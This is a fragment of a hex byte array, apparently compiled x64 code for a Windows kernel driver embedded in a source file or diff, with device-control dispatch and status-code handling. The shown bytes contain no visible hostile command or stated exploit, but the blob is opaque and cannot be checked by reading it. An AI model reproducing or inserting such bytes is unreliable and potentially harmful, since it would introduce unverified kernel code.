0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, + 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, + 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, + 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, + 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, + 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, + 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, + 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, + 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, + 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, + 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, + 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, + 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, + 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, + 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, + 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, + 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, + 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, + 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, + 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, + 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, + 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, + 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, + 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, + 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, + 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, + 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, + 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, + 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, + 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, + 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, + 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, + 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, + 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, + 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 0xFC, 0xFF, 0xFF, + 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, + 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, + 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, + 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, + 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, + 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, + 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, + 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, + 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, + 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, + 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, + 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, + 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, + 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, + 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, + 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, + 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, + 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, + 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, + 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, + 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, + 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, + 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, + 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, + 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, + 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, + 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, + 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, + 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, + 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, + 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, + 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, + 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, + 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, + 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, + 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, + 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, + 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, + 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, + 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, + 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, + 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, + 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, + 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, + 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, + 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, + 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, + 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, + 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, + 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, + 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, + 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 0x8B, + 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, + 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, + 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, + 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, + 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, + 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, + 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, + 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, + 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, + 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, + 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, + 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, + 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, + 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, + 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, + 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, + 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, + 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, + 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, + 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, + 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, + 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, + 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, + 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, + 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, + 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, + 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, + 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, + 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, + 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, + 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, + 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 0x0A, 0x66, 0x89, + 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, + 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, + 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, + 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, + 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, + 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, + 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, + 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, + 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, + 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, + 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, + 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, + 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, + 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, + 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, + 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, + 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, + 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, + 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, + 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, + 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, + 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, + 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, + 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, + 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, + 0x00, 0x41, 0x81, 0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, + 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, + 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, + 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, + 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, + 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, + 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, + 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, + 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, + 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, + 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, + 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xCA, 0x0E, + 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, + 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, + 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, + 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, + 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, + 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, + 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, + 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, + 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, + 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, + 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 0x83, 0xC9, 0xFF, 0xFF, + 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, + 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, + 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, + 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, + 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, + 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, + 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, + 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, + 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, + 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, + 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, + 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, + 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, + 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, + 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, + 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, + 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, + 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, + 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, + 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, + 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, + 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, + 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, + 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, + 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, + 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, + 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, + 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, + 0xEB, 